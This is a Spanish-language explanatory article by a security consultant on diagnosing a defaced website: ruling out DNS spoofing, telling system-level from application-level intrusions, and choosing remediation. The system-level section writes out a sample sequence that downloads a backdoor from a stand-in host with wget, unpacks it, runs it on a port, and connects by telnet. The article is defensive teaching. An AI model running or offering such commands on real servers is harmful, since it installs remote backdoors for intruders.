Un mal día entramos a nuestro sitio web, y en lugar
de ver nuestra página de siempre nos encontramos con otra
portada: "defaced" o "este servidor ha sido
hackeado". Una vez confirmado que realmente es así (que no
se trata de un desvío del dominio), debemos
identificar en qué nivel ha sido realizada la
intrusión: nivel de aplicación o nivel de sistema. En uno u
otro nivel los riesgos son
distintos, y son distintas las medidas a tomar para corregir el
problema.
Una foto del Che Guevara,
el símbolo de la anarquía… la cara de un mono…
Fido Dido… un paquete de sopa instantánea… Sea cual
fuere la nueva "presentación" de nuestro sitio web, lo
primero que debemos hacer (además de tranquilizarnos
frente al estado de
shock que producen estas situaciones) es verificar si el servidor
realmente ha sido vulnerado, y que no se trate simplemente de un
desvío de DNS.
Voy a resumir el problema del DNS: el Domain Name System
es el responsable de traducir los nombres de los sitios a las
direcciones IP de los
servidores
donde éstos están alojados. Así cuando
escribimos "www.sitioweb.com" el DNS retorna la dirección IP del servidor (como ser
200.40.129.50). Ahora imaginemos que un servidor DNS (hay
millones) ha sido engañado, y en lugar de retornar la
dirección IP correcta, nos devuelve la IP de otro server
donde se aloja la página web
que vemos en lugar de la nuestra.
A este chiste se le llama "DNS spoofing", y sus efectos
normalmente son locales. Es decir: el fallo lo experimentan
sólo las máquinas
que se basan (resuelven) en el servidor DNS en cuestión
(una empresa, un
ISP, una ciudad). Y el resto del mundo sigue viendo nuestro sitio
web original sin problemas.
Bien, una vez descartado que se trate de DNS spoofing, y
confirmado -IP mediante- que nuestro sitio web realmente ha sido
modificado, estamos en hora de determinar si el ataque se
realizó a nivel de aplicación o a nivel de
sistema.
Es el nivel de acceso que representa más riesgo. Es lo que
todo intruso desea lograr en una máquina: tener el
control total
de los recursos…
adueñarse completamente de la máquina con los
mismos privilegios que el propio administrador.
El acceso a nivel de sistema implica el acceso al mismo
sistema
operativo, en última instancia mediante un terminal
remoto.
Estos accesos se logran a través de algún
servicio mal
configurado, o de aplicaciones vulnerables que permitan la
ejecución de código
arbitrario en el server. Por ejemplo: si tenemos abierto un
servicio telnet, o un SSH
vulnerable, estamos dando al atacante una terminal de acceso para
que simplemente comience a trabajar en su próximo paso que
discutiremos en las próximas líneas: la escalada de
privilegios.
Otra posible entrada a un sistema es la
explotación de servicios
vulnerables que permitan desbordamientos de búfers (que
nos permitan, aún sin tener un terminal, ejecutar comandos en el
sistema operativo).
Consideremos el siguiente caso: un intruso sabe que
mediante un sendmail mal configurado, o un proFTPd u otro
software, tiene
la posibilidad de ejecutar comandos sobre la máquina… Y
esos comandos pueden ser:
1) wget http://www.sitiohacker.com/backdoor.tar.gz
2) tar -xvzpf ./backdoor.tar.gz
3) cd
backdoor
4) ./backdoor -p 10040
En al paso (1) baja de internet un paquete
comprimido conteniendo un software de intrusión
(backdoor.tar.gz en nuestro ejemplo). En el paso (2) descomprime
el paquete en el directorio actual (no importa cual sea). En el
paso (3) se mueve al directorio que ha sido creado tras
descomprimir las herramientas.
Y en el paso (4) ejecuta un comando que pone a funcionar el
servicio "backdoor" escuchando en el puerto TCP 10040.
(sólo se trata de un ejemplo: las direcciones y los
nombres son ficticios. En la práctica puede haber miles de
posibilidades).
Hasta ahora el intruso ha ejecutado estos comandos sin
retorno visual: no tiene una pantalla que le permita ver los
resultados de lo que está tecleando, ya que la
vulnerabilidad le permite sólo enviar los comandos que
llegan al sistema operativo mediante una vía
alternativa.
Pero ahora el intruso, cómodamente y desde su
máquina, puede hacer lo siguiente:
telnet 172.16.100.21 10040
…donde la IP del servidor atacado es 172.16.100.21, y
10040 es el puerto donde el hacker puso a
funcionar su aplicación "backdoor". Ahora sí, el
hacker tiene una terminal de acceso a nuestro sistema. Casi con
la comodidad de estar en su propia PC. Pero para tener el control
total del servidor aún le hace falta realizar otro
trabajo:
Escalada de privilegios En el ejemplo anterior
describiendo la forma de realizar un acceso, todos los comandos
que se ejecutaron en el sistema (incluso la ejecución del
programa
"backdoor", y los comandos que a su vez se ejecuten a
través de éste) se harán con los privilegios
y permisos que tenga el programa a través del cual se
accedió al servidor. En caso de haber accedido por una
brecha de proFTPd, seremos el usuario "ftp", o
"nobody": usuarios menores, con privilegios recortados, incapaces
de realizar grandes cambios en la configuración del
servidor.
La "escalada de privilegios" tiene un nombre bien
autoexplicativo: consiste en la realización de uno o
más ataques a programas locales
mal configurados, y a través de los mismos ir logrando
nuevos privilegios, hasta tomar el lugar del superusuario root (o
wheel en los BSD). Sobre este punto se pueden escribir decenas de
libros, pero
su profundización está fuera de los objetivos de
este artículo.
Quien se haya tomado el trabajo de
acceder de esta forma a un servidor, difícilmente sea tan
estúpido como para dedicarse a modificar las páginas
web poniendo "servidor hackeado". Por el contrario: esta
categoría de intrusos permanece en silencio, tratan de
permanecer inadvertidos durante todo el tiempo posible
para así poder sacar el
máximo provecho posible de "su nuevo servidor". Tal vez
sólo al final, como broche de oro, tome la
iniciativa de cambiar la portada del sitio web (cuando el
servidor no le sirva más para sus objetivos, o si es
descubierto y se da cuenta de que va a ser expulsado).
Los ataques a nivel de aplicación son aquellos
que se realizan explotando vulnerabilidades de aplicaciones que
permitan modificar los datos que la
propia aplicación manipula, pero sin la posibilidad de
ejecución de comandos sobre el sistema
operativo.
Ejemplos: la modificación o borrado de contenidos
en un sistema de gestión
de portales, como phpNuke o Mambo. O la manipulación de
una base de datos
SQL mediante
un acceso no autorizado a un phpMyAdmin vulnerable.
En este tipo de ataques el intruso puede cambiar lo que
desee en nuestro sitio web, o en nuestras bases de datos.
Pero no se puede considerar que el servidor esté
comprometido, ni que el intruso haya entrado efectivamente en el
sistema.
Los ataques a nivel de aplicación son los
más comunes y visibles (y los más populares entre
los chicos traviesos aficionados a romper cosas). De modo que el
servidor -a pesar de estos ataques- permanece intacto. La
seriedad y la gravedad de estos ataques depende de la importancia
de la aplicación web atacada: no es lo mismo un ataque de
este tipo en una galería de fotos online, que
en una aplicación de procesamiento de pagos y
transferencias financieras.
En el caso de las intrusiones a nivel de sistema, se
debe realizar un análisis forense del servidor atacado. Y en
muchos casos, la única solución realmente segura es
la reinstalación del sistema operativo y de todas las
aplicaciones desde cero.
En el caso de las intrusiones a nivel de
aplicación, basta con sustituír la
aplicación vulnerable por una versión "parchada"
que cierre las brechas de seguridad usadas
por los intrusos.
Y en cuanto al contenido y los datos… el lector
podrá deducir que sólo los respaldos nos
permitirán poner todo a funcionar en tiempo y forma
(¿verdad que SIEMPRE hacemos los RESPALDOS de TODA nuestra
INFORMACION?)
Ing. Eduardo González González
(*)
(*) Consultor en Sistemas de
Seguridad